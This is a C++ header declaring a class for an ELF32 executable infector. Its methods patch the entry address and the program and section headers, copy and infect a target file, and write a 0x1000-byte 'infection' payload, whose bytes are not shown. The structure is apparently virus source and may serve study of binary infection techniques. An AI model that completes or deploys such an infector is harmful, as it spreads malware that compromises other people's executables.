class Target
{
public:
  Target(const char* filename);
  ~Target();
  bool isOpen() { return fd_dst != -1; }
  bool isSuitable();
  unsigned newEntryAddr();
  bool patchEntryAddr();
  bool patchPhdr();
  bool patchShdr();
  bool copyAndInfect();
  unsigned writeInfection(); // returns number of written bytes

private:
  enum { INFECTION_SIZE = 0x1000 };
  static const unsigned char infection[];

  int fd_dst; /* opened write-only */
  int fd_src; /* opened read-only */

  off_t filesize;
  unsigned aligned_filesize;

  /* start of memory-mapped image, b means byte */
  union { void* v; unsigned char* b; Elf32_Ehdr* ehdr; } p;

  /* offset to first program header (in file) */
  Elf32_Phdr* phdr;
  
  /* offset to first byte after code segment (in file) */
  unsigned end_of_cs;
  unsigned aligned_end_of_cs;

  /* start of host code (in memory) */
  unsigned original_entry;
};

/* align up to multiple of 16 */
inline unsigned alignUp(unsigned n) { return (n + 15) & ~15; }
